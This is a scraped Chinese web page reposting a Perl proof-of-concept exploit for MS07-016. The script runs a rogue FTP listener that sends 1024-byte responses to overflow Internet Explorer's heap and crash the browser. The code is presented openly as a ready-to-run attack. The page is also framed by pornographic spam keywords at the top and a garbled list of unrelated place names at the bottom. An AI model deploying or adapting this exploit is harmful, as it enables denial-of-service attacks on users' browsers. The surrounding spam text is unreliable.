最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

MS Internet Explorer (FTP Server Response) DoS Exploit

互聯(lián)網(wǎng)   發(fā)布時(shí)間:2008-10-08 21:03:56   作者:佚名   我要評(píng)論
#!/usr/bin/perl # MS 07-016 FTP Server Response PoC # Usage: ./ms07016ftp.pl [LISTEN_IP] # # Tested Against: MSIE 6.02900.2180 (SP2) # # Details: The response is broken into buffers, either at length 1024, #
#!/usr/bin/perl

# MS 07-016 FTP Server Response PoC
# Usage: ./ms07016ftp.pl [LISTEN_IP]
#
# Tested Against: MSIE 6.02900.2180 (SP2)
#
# Details: The response is broken into buffers, either at length 1024,
# or at '\r\n'. Each buffer is apended with \x00, without
# bounds checking. If the response is exctly 1024 characters
# in length, you will overflow the heap with the string \x00.


use IO::Socket;
use strict;

# Create listener
my $ip=shift || '127.0.0.1';
my $sock = IO::Socket::INET->new(Listen=>1,
LocalHost=>$ip,
LocalPort=>'21',
Proto=>'tcp');
$sock or die ("Could not create listener.\nMake sure no FTP server is running, and you are running this as root.\n");

# Wait for initial connection and send banner
my $sock_in = $sock->accept();
print $sock_in "220 waa waa wee waa\r\n";

# Send response code with total lenght of response = 1024
while (<$sock_in>){
my $response;
if($_ eq "USER") { $response="331 ";}
elsif($_ eq "PASS") { $response="230 ";}
elsif($_ eq "syst") { $response="215 ";}
elsif($_ eq "CWD") { $response="250 ";}
elsif($_ eq "PWD") { $response="230 ";}
else { $response="200 ";}
print $sock_in $response."A"x(1024-length($response)-2)."\r\n";
}
close($sock);
//http://www.heibai.net

相關(guān)文章

最新評(píng)論

汉源县| 高唐县| 五台县| 屯门区| 澄城县| 呈贡县| 深圳市| 北京市| 昭平县| 孟连| 南丰县| 安多县| 上饶市| 山阳县| 咸宁市| 类乌齐县| 礼泉县| 定兴县| 新乐市| 广德县| 保康县| 南丰县| 崇阳县| 石狮市| 临泉县| 江孜县| 湖口县| 濮阳县| 乐都县| 花垣县| 伊宁市| 河南省| 疏勒县| 石狮市| 英德市| 闵行区| 正阳县| 沐川县| 成武县| 游戏| 台北县|